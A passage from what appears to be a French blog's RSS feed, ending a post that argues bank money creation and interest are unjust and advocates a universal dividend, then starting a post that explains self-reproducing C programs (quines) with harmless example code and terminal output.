<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
</table>
</div>
<h4>Étape 5</h4>
<p>B achète des baguettes à X pour un montant de 2 (<em>il dépense les intérêts dans l&#8217;économie</em>).</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center"><strong>0</strong></td>
<td>
<ul style="margin:0px 10px">
<li>X me doit 5</li>
<li><strong>je dois 5 à X</strong></li>
</ul>
</td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center"><strong>5</strong></td>
<td>
<ul style="margin:0px 10px">
<li><strong>B me doit 5</strong></li>
<li>je dois 5 à B</li>
</ul>
</td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
</table>
</div>
<h4>Étape 6</h4>
<p>X rembourse sa dette à B.</p>
<div style="text-align:center">
<table style="width:700px;margin:0px auto">
<tr>
<th style="width:60px;text-align:center">Individu</th>
<th style="width:60px;text-align:center">Compte</th>
<th style="width:280px">Dettes</th>
<th style="width:300px;text-align:right">Produits</th>
</tr>
<tr>
<th style="text-align:center"><strong>B</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>X</strong></th>
<td style="text-align:center"><strong>0</strong></td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/apple.png" alt="" title="apple" width="32" height="32" style="border:none;padding:0px" class="wp-image-3547" />
        </td>
</tr>
<tr>
<th style="text-align:center"><strong>Y</strong></th>
<td style="text-align:center">0</td>
<td></td>
<td style="text-align:right;vertical-align:middle">
            <img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" /><img src="http://blog.rom1v.com/wp-content/uploads/2011/12/bread.png" alt="" title="bread" width="32" height="32" style="border:none;padding:0px" class="wp-image-3548" />
        </td>
</tr>
</table>
</div>
<p>Voilà, tout est remboursé. <a href="http://fr.wikipedia.org/wiki/CQFD_%28abr%C3%A9viation%29">CQFD</a>, Louis Even racontait n&#8217;importe quoi, sa fable n&#8217;est que pure manipulation. Circulez, y&#8217;a rien à voir.</p>
<p>Attendez, pas si vite&nbsp;! Tout au plus, nous pouvons en déduire que le récit est incomplet, car il n&#8217;a traité que le cas où les intérêts n&#8217;étaient pas dépensés dans l&#8217;économie. Traitons donc la partie manquante, quand les intérêts sont dépensés.</p>
<h3>Avec intérêts dépensés</h3>
<p>Remarquons avant tout que si seulement une partie des intérêts est dépensée, nous sommes confrontés exactement au même problème (il manquera juste un peu moins d&#8217;argent pour rembourser, mais il en manquera). Seule l&#8217;hypothèse où <strong>100% des intérêts sont dépensés</strong> pourrait donc permettre, éventuellement, la pénurie de monnaie. Et si effectivement nous pouvions éviter cette pénurie, le système serait-il juste&nbsp;?</p>
<h4>Injustice visible</h4>
<p>Dans l&#8217;exemple détaillé où tout a été remboursé, qui a produit quoi et qui a consommé quoi&nbsp;?</p>
<ul>
<li>X a produit des baguettes pour une valeur de 7, et a consommé des pommes pour une valeur de 5&nbsp;;</li>
<li>Y a produit des pommes pour une valeur de 5&nbsp;;</li>
<li>B a consommé des baguettes pour une valeur de 2.</li>
</ul>
<p><strong>B a gagné des intérêts sur de l&#8217;argent qu&#8217;il a créé <em><a href="http://fr.wikipedia.org/wiki/Ex_nihilo">ex nihilo</a></em></strong>, sans aucun travail, qu&#8217;il a pu ensuite dépenser dans l&#8217;économie.</p>
<p>James Crate Larkin <a href="http://www.michaeljournal.org/Larkin_fr.pdf">écrivait</a>&nbsp;:</p>
<blockquote><p>Ce paiement d’intérêt, par la société, au système bancaire, sur de la monnaie nouvellement créée et qui ne coûte rien, n’est pas du tout semblable ni comparable à l’intérêt qu’un prêteur ordinaire exige sur de l’argent déjà en existence, qu’il a gagné, épargné et prêté à l’industrie.</p></blockquote>
<p>Si je dis uniquement cela, vous allez tout de suite me rétorquer que j&#8217;ai oublié de prendre en compte le service qu&#8217;a fourni le banquier&nbsp;: B a rendu service à X pour une valeur de 2, et X a &laquo;&nbsp;consommé&nbsp;&raquo; le service de la dette. Le banquier fournit un service, et comme tout service, il est normal qu&#8217;il le fasse payer.</p>
<p>Mais cet argument ne tient pas.</p>
<p>D&#8217;abord, le service fourni n&#8217;est pas un service comme un autre&nbsp;: <strong>le banquier demande, en échange de quelque chose, ce même quelque chose en quantité plus importante, alors que lui seul a le droit de créer ce quelque chose</strong>. Cela n&#8217;implique pas strictement, nous l&#8217;avons vu, que le remboursement sera impossible (en pratique, il le sera, nous le verrons), mais cela en fait à l&#8217;évidence <strong>un service singulier</strong>.</p>
<p>Ensuite, remarquons que la banque perçoit un pourcentage sur toute la monnaie en circulation. Modifions l&#8217;exemple précédent pour qu&#8217;il y ait un banquier, 1 million de X et 1 million de Y. Dans ce nouvel exemple, regardons ce qu&#8217;il se passe&nbsp;:</p>
<ul>
<li>chaque X a produit des baguettes pour une valeur de 7, et a consommé des pommes pour une valeur de 5&nbsp;;</li>
<li>chaque Y a produit des pommes pour une valeur de 5&nbsp;;</li>
<li>B a consommé pour une valeur de <strong>2000000</strong>.</li>
</ul>
<p>Le déséquilibre est flagrant. Il n&#8217;est pas défendable que le banquier puisse (et doive) récupérer, à son profit, un pourcentage de toutes les richesses créées. Un tel gain ne peut raisonnablement pas correspondre au service fourni.</p>
<p>Vous me répondrez qu&#8217;en réalité, tout n&#8217;est pas pour la banque&nbsp;: elle doit par exemple verser des intérêts à ses clients. Mais d&#8217;une part, les intérêts qu&#8217;elle perçoit (sur de l&#8217;argent créé&nbsp;!) sont supérieurs aux intérêts que perçoivent les clients (sur de l&#8217;argent gagné)&nbsp;; l&#8217;argument reste donc le même avec simplement un pourcentage moins important. Et d&#8217;autre part, nous pouvons appliquer le raisonnement sur l&#8217;ensemble constitué des banques et des personnes les plus riches (les <a href="http://en.wikipedia.org/wiki/We_are_the_99%25">fameux 1%</a>), qui sont évidemment les principaux bénéficiaires de ces intérêts.<br />
Vous me ferez peut-être également remarquer que la banque verse des salaires. Oui. Les autres entreprises aussi.</p>
<h4>Injustice cachée</h4>
<p>En plus de cela, le banquier profite d&#8217;une <a href="http://fr.wikipedia.org/wiki/D%C3%A9flation">déflation</a>.</p>
<p>Pour le comprendre, reprenons l&#8217;exemple détaillé ci-dessus, et considérons à chaque étape non seulement la masse monétaire dans son ensemble, mais également l&#8217;argent qui circule au sein de la population (entre X et Y).</p>
<table style="margin:0px">
<tr>
<th style="width:60px;text-align:center">Étape</th>
<th style="width:80px;text-align:center">Qté en circulation</th>
<th style="width:80px;text-align:center">Qté entre X et Y</th>
<th>Commentaire</th>
</tr>
<tr>
<th style="text-align:center"><strong>0</strong></th>
<td style="text-align:center">0</td>
<td style="text-align:center">0</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>1</strong></th>
<td style="text-align:center">5</td>
<td style="text-align:center">5</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>2</strong></th>
<td style="text-align:center">5</td>
<td style="text-align:center">5</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>3</strong></th>
<td style="text-align:center">5</td>
<td style="text-align:center">5</td>
<td></td>
</tr>
<tr>
<th style="text-align:center"><strong>4</strong></th>
<td style="text-align:center">5</td>
<td style="text-align:center"><strong>3</strong></td>
<td>Déflation locale, les prix ont tendance à baisser. C&#8217;est à ce moment que le banquier achète à X.</td>
</tr>
<tr>
<th style="text-align:center"><strong>5</strong></th>
<td style="text-align:center">5</td>
<td style="text-align:center"><strong>5</strong></td>
<td>Une fois l&#8217;argent réinjecté dans l&#8217;économie, les prix ont tendance à réaugmenter. Ce qu&#8217;a acheté le banquier retrouve donc sa valeur.</td>
</tr>
</table>
<p><em>Il faut bien avoir à l&#8217;esprit que la déflation se produit au fur et à mesure du remboursement des intérêts au banquier, sur une longue période, et non brutalement comme l&#8217;exemple pourrait le laisser penser.</em></p>
<p>Le banquier peut racheter les actifs de X et Y à bas prix, puisqu&#8217;ils ont baissé suite à la déflation. Cette réinjection de monnaie fera augmenter le prix de ces mêmes actifs en proportion mais ils auront changé de main de façon forcée (vers le banquier).</p>
<p><em>Merci à <a href="http://www.creationmonetaire.info/">Galuel</a> pour cette explication.</em></p>
<h4>Hypothèse vérifiée&nbsp;?</h4>
<p>Nous avons vu qu&#8217;il était <em>nécessaire</em> que <em>100% des intérêts soient dépensés dans l&#8217;économie</em> pour éviter la pénurie d&#8217;argent. Remarquons que rien ne montre que cette hypothèse, fût-elle <em>injuste</em>, serait <em>suffisante</em>.</p>
<p>Mais est-elle seulement <em>vérifiée</em> dans la réalité&nbsp;? Car la simple possibilité théorique de cette situation idéalisée ne peut suffire à prétendre qu&#8217;elle serait vérifiée en pratique.</p>
<p>Nous pouvons même nous convaincre du contraire.</p>
<p>Les prêts que nous avons considérés jusqu&#8217;à présent sont ceux effectués par le système bancaire, qui sont les seuls créateurs de monnaie. Mais l&#8217;argent ainsi créé peut être reprêté par quelqu&#8217;un à quelqu&#8217;un d&#8217;autre, avec intérêts. Dans ce cas, <strong>cet argent sera grevé de 2 intérêts</strong>.</p>
<p>Supposons que la banque promette de dépenser 100% des intérêts dans l&#8217;économie, et qu&#8217;une personne, libre de toutes dettes, possède de l&#8217;argent en excès. Elle va pouvoir le prêter (ou l&#8217;investir) <em>perpétuellement</em> pour percevoir <em>perpétuellement</em> des intérêts. Tout dépenser dans l&#8217;économie ne serait pas à son avantage, car cela représente pour elle une source intarissable de revenus. Ses emprunteurs, pour lui payer les intérêts, devront nécessairement récupérer de l&#8217;argent dans le stock disponible… qui n&#8217;en contient pas assez pour rembouser le prêt principal <strong>et</strong> le prêt secondaire avec intérêts. Dans ce cas, il est inévitable de rembourser les anciens prêts avec… de nouveaux prêts plus importants.</p>
<p>Plus généralement, ceux qui ont de l&#8217;argent s&#8217;attendent à percevoir un intérêt dessus. L&#8217;investissement peut créer de nouvelles richesses réelles, mais seules de nouvelles dettes peuvent créer plus d&#8217;argent. Donc toute attente de profits, à partir de l&#8217;argent investi ou de prêts, crée de la demande pour plus d&#8217;argent, qui peut être&nbsp;:</p>
<ul>
<li>soit récupéré à partir de quelqu&#8217;un d&#8217;autre (ce qui déplacera la pénurie d&#8217;argent)&nbsp;;</li>
<li>soit créé par une nouvelle dette.</li>
</ul>
<p><em>C&#8217;est <a href="http://paulgrignon.netfirms.com/MoneyasDebt/disputed_information.html#disputed2">ce qu&#8217;a expliqué Paul Grignon</a> en réponse aux critiques contre sa fameuse vidéo <a href="http://www.dailymotion.com/video/x75e0k_l-argent-dette-de-paul-grignon-fr-i_news">L&#8217;argent dette</a>, qui l&#8217;ont poussé à publier <a href="http://www.dailymotion.com/video/xbqww7_l-argent-dette-2-promesses-chimeriq_news">L&#8217;argent dette 2&nbsp;: promesses chimériques</a>.</em></p>
<h3>Légitimité</h3>
<p>Mais avant de rentrer dans tous ces détails, peut-être aurait-il simplement fallu questionner, sur le principe, la <em>légitimité</em> d&#8217;un tel système.</p>
<p>L&#8217;argent est créé par le crédit. Donc la société est <em>forcément</em> endettée (sinon, il n&#8217;y aurait pas d&#8217;argent). Ce qui implique qu&#8217;<strong>elle devra perpétuellement payer des intérêts aux banques</strong>, des acteurs privés.<br />
Ceci est d&#8217;autant plus étonnant que c&#8217;est la population, dans son ensemble, qui produit les richesses. La banque ne fait que créer l&#8217;argent permettant de les échanger. <strong>Ce sont donc ceux qui produisent les richesses qui sont endettés envers ceux qui créent l&#8217;argent.</strong></p>
<p>Louis Even <a href="http://www.michaeljournal.org/lecon3.htm">l&#8217;expliquait</a> très bien&nbsp;:</p>
<blockquote cite="http://www.michaeljournal.org/lecon3.htm"><p>Soulignons aussi un point frappant: C’est la production qui donne de la valeur à l’argent. Une pile d’argent, sans produits pour y répondre, ne fait pas vivre. Or, ce sont les cultivateurs, les industriels, les ouvriers, les professionnels, le pays organisé, qui font les produits, marchandises ou services. Mais ce sont les banquiers qui font l’argent basé sur ces produits. <strong>Et cet argent, qui tire sa valeur des produits, les banquiers se l’approprient et le prêtent à ceux qui font les produits.</strong> C’est un vol légalisé.</p></blockquote>
<p><a href="http://fr.wikipedia.org/wiki/Maurice_Allais">Maurice Allais</a>, prix Nobel d&#8217;économie, <a href="http://fr.wikipedia.org/wiki/Faux-monnayage#Faux-monnayage_l.C3.A9gal">écrivait même</a>&nbsp;:</p>
<blockquote><p>Dans son essence, <strong>la création monétaire ex nihilo actuelle par le système bancaire est identique</strong>, je n&#8217;hésite pas à le dire pour bien faire comprendre ce qui est réellement en cause, <strong>à la création de monnaie par des faux-monnayeurs</strong>, si justement condamnée par la loi. Concrètement elle aboutit aux mêmes résultats. La seule différence est que ceux qui en profitent sont différents.</p>
<footer><em>(La Crise mondiale aujourd’hui. Pour de profondes réformes des institutions financières et monétaires., Maurice Allais, éd. Clément Juglar, 1999, p. 110)</em></footer>
</blockquote>
<p><em>Le texte <a href="http://etienne.chouard.free.fr/Europe/messages_recus/La_crise_mondiale_d_aujourd_hui_Maurice_Allais_1998.htm" rel="nofollow">est accessible ici</a>.</em></p>
<h3>Conséquences</h3>
<p>Ne vous paraît-il pas étonnant qu&#8217;il faille toujours travailler plus (au point de <a href="http://www.lepoint.fr/economie/malakoff-mederic-le-frere-de-sarkozy-soupconne-de-tirer-profit-de-la-reforme-des-retraites-28-10-2010-1255629_28.php">réformer les retraites</a>), alors que nous avons considérablement amélioré notre productivité ces dernières décénies&nbsp;? Et la crise viendrait d&#8217;un manque de travail, d&#8217;un manque de production, vraiment&nbsp;?</p>
<p>La véritable raison, ce n&#8217;est pas que nous manquons de richesses réelles. Nous ne devons pas lutter contre une rareté de produits dont nous avons besoin, mais contre la rareté de l&#8217;argent permettant d&#8217;accéder à ces produits. Et la rareté de cet argent dépend du crédit, qui dépend de la croissance.</p>
<p>En clair&nbsp;: <strong>sans croissance, nous avons (toujours) une abondance de produits, mais une pénurie de monnaie pour y accéder. Grâce à la croissance, nous limitons temporairement la pénurie de monnaie</strong>.</p>
<p>C&#8217;est la raison pour laquelle nous devons toujours produire (et consommer) plus. Ce qui, d&#8217;ailleurs, <a href="http://www.michaeljournal.org/lecon3.htm">amplifie le problème</a>&nbsp;:</p>
<blockquote cite="http://www.michaeljournal.org/lecon3.htm"><p>A mesure que le pays se développe, en production comme en population, il faut plus d’argent. Or on ne peut avoir d’argent nouveau qu’en s’endettant d’une dette collectivement impayable.</p>
<p>Il reste donc le choix entre arrêter le développement ou s’endetter; entre chômer ou contracter des emprunts impayables. C’est entre ces deux choses-là qu’on se débat justement dans tous les pays.</p></blockquote>
<p>Dans <a href="http://www.naomiklein.org/articles/2011/10/occupy-wall-street-most-important-thing-world-now">un récent discours</a>, <a href="http://fr.wikipedia.org/wiki/Naomi_Klein">Naomi Klein</a> dénonçait cette pénurie artificielle (<a href="http://www.zoupic.com/2011/10/14/naomi-klein-nous-parle-de-rarete-et-dabondance/">citation rapportée par Zoupic</a>)&nbsp;:</p>
<blockquote cite="http://www.zoupic.com/2011/10/14/naomi-klein-nous-parle-de-rarete-et-dabondance/"><p>Nous savons tous, ou du moins nous sentons que le monde est à l’envers : nous agissons comme s’il n’y avait pas de limites à ce qui, en réalité, n’est pas renouvelable – les combustibles fossiles et l’espace atmosphérique pour absorber leurs émissions. Et nous agissons comme s’il y avait des limites strictes et inflexibles à ce qui, en réalité, est abondant – les ressources financières pour construire la société dont nous avons besoin.</p></blockquote>
<h4>Vivre &laquo;&nbsp;au-dessus de ses moyens&nbsp;&raquo;</h4>
<p>Si nous sommes endettés, ce n&#8217;est donc pas parce que <em>nous vivons au-dessus de nos moyens</em>, comme nous pouvons l&#8217;entendre parfois, mais bien parce que le système monétaire entraîne inévitablement l&#8217;endettement.</p>
<p>Cela rejoint un point de l&#8217;<a href="http://www.mrquelquesminutes.fr/#dettepublique_argumentaire">argumentaire de MrQuelquesMinutes</a>, à propos de <a href="http://www.mrquelquesminutes.fr/#dettepublique_video">sa vidéo sur la dette publique</a>&nbsp;:</p>
<blockquote cite="http://www.mrquelquesminutes.fr/#dettepublique_argumentaire"><p><strong>B-2) L&#8217;État doit emprunter aux marchés financiers pour fonctionner, cela veut-il dire que l’État utilise l&#8217;argent qu&#8217;il n&#8217;a pas ? Et que l’État vit donc &laquo;&nbsp;au dessus de ses moyens&nbsp;&raquo; ?</strong><br />
Si l&#8217;on poursuit ce raisonnement, alors toute la société vit au dessus de ses moyens puisque toute la monnaie qu&#8217;elle utilise provient à l&#8217;origine du crédit bancaire. Pourtant, cela n&#8217;a pas de sens de dire cela, puisque c&#8217;est la société elle même qui produit les biens et les services qu&#8217;elle utilise.<br />
Qu&#8217;une nation ou qu&#8217;un État s&#8217;endette dans un système monétaire où la monnaie est créé uniquement par le crédit, ne veut pas dire qu&#8217;il &laquo;&nbsp;vit au dessus des ses moyens&nbsp;&raquo;, mais que ce système monétaire, de part sa nature, provoque l&#8217;endettement généralisé de cette nation ou de cet État.</p></blockquote>
<h3>Conclusion</h3>
<p>La possibilité très théorique que la société soit capable de rembourser ses dettes (afin qu&#8217;elles n&#8217;augmentent pas perpétuellement) ne remet nullement en cause les critiques fondamentales que porte <em>Louis Even</em> (et bien d&#8217;autres) sur le fonctionnement de la création monétaire, manifestement injuste.</p>
<p>Un système où la pénurie de monnaie est quasiment garantie, et où les richesses sont redistribuées massivement de la population vers les banques, n&#8217;est pas acceptable. Ne devons donc le corriger. Comment&nbsp;?</p>
<p>La première étape est de comprendre comment fonctionne le système actuel, pour envisager plusieurs réponses. L&#8217;une d&#8217;elles est le <a href="http://postjorion.wordpress.com/2011/11/04/215-resume100monnaie/">100% monnaie</a>.</p>
<p>Personnellement, je suis convaincu que la meilleure est le <a href="http://blog.rom1v.com/2011/02/dividende-universel-un-enjeu-majeur-de-societe/">dividende universel, pour plusieurs raisons</a> (<a href="http://www.tetedequenelle.fr/2011/11/pourquoi-nous-avons-besoin-dun-revenu-garanti/">et beaucoup d&#8217;autres</a>).</p>
<p>À vous de vous forger votre avis…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants/feed/</wfw:commentRss>
		<slash:comments>189</slash:comments>
		</item>
		<item>
		<title>Programmes auto-reproducteurs (quines)</title>
		<link>http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/</link>
		<comments>http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 21:14:17 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[compilateur]]></category>
		<category><![CDATA[développement]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3308</guid>
		<description><![CDATA[Vous êtes-vous déjà demandé comment écrire un programme qui génère son propre code source&#160;? Si vous n&#8217;avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n&#8217;est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie… Un [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/quine.jpg"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/quine-300x253.jpg" alt="" title="quine" width="300" height="253" class="alignright size-medium wp-image-3319" /></a></p>
<p>Vous êtes-vous déjà demandé comment écrire <strong>un programme qui génère son propre code source</strong>&nbsp;? Si vous n&#8217;avez jamais essayé, je vous conseille de prendre un peu de temps pour y réfléchir avant de lire la suite. Ce n&#8217;est pas évident, car chaque caractère ajouté dans le code source doit également apparaître sur la sortie…</p>
<p>Un tel programme s&#8217;appelle un <a href="http://fr.wikipedia.org/wiki/Quine_%28informatique%29">quine</a>. Et il est <a href="http://fr.wikipedia.org/wiki/Théorème_de_récursion_de_Kleene">prouvé</a> qu&#8217;avec tout langage de programmation il existe un <em>quine</em> (une infinité&nbsp;?). <a href="http://www.madore.org/~david/computers/quine.html">Cette page</a> détaille un peu plus la théorie.</p>
<p>Des exemples sont déjà écrits <a href="http://www.nyx.net/~gthompso/quine.htm">pour plein de langages</a>.</p>
<h3>Quine simple</h3>
<p>Voici un programme auto-reproducteur simple en <em>C</em>&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}</pre>
<p>Nous pouvons tester, ce programme se génère bien lui-même&nbsp;:</p>
<pre>$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){char*s="#include&lt;stdio.h&gt;%cmain(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}</pre>
<p><em>(essayez de l&#8217;écrire ou de le réécrire tout seul pour bien comprendre comment ça fonctionne)</em></p>
<p>L&#8217;essentiel de l&#8217;astuce ici est de passer la chaîne «&nbsp;<code>s</code>&nbsp;» à la fois en tant que format et d&#8217;argument de <code>printf</code>.</p>
<p>Ce n&#8217;est pas sans poser de problèmes&nbsp;: dans la déclaration de la chaîne <code>s</code>, nous ne pouvons pas écrire «&nbsp;<code>"</code>&nbsp;» (évidemment), ni «&nbsp;<code>\"</code>&nbsp;», car alors il faudrait que le programme génère le «&nbsp;<code>\"</code>&nbsp;», donc le «&nbsp;<code>"</code>&nbsp;», ce que précisément nous cherchons à faire. L&#8217;astuce est donc d&#8217;utiliser son code <a href="http://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange">ASCII</a> (<code>34</code>), inséré grâce aux «&nbsp;<code>%c</code>&nbsp;». Le code <code>10</code>, quant à lui, correspond au <a href="http://fr.wikipedia.org/wiki/Saut_de_ligne">saut de ligne</a>.</p>
<h3>Quine alternatif</h3>
<p>Nous pouvons imaginer deux programmes qui se génèrent l&#8217;un-l&#8217;autre&nbsp;: un programme <em>A</em> génère un code source <em>B</em>, tel que le programme <em>B</em> génère le code source <em>A</em>.</p>
<p>À partir de l&#8217;exemple précédent, c&#8217;est trivial, il suffit de rajouter une variable (que j&#8217;ai appelée «&nbsp;<code>f</code>&nbsp;» comme «&nbsp;<em>flag</em>&nbsp;») dont on alterne la valeur&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){int f=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}</pre>
<p>La valeur de <code>f</code> alterne entre <em>0</em> et <em>1</em>&nbsp;:</p>
<pre>$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){int f=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){int f=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}
$ gcc quine.c &#038;&#038; ./a.out | tee quine.c
#include&lt;stdio.h&gt;
main(){int f=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int f=%i;char*s=%c%s%c;printf(s,10,!f,34,s,34,10);}%c";printf(s,10,!f,34,s,34,10);}</pre>
<h3>Quasi-quine</h3>
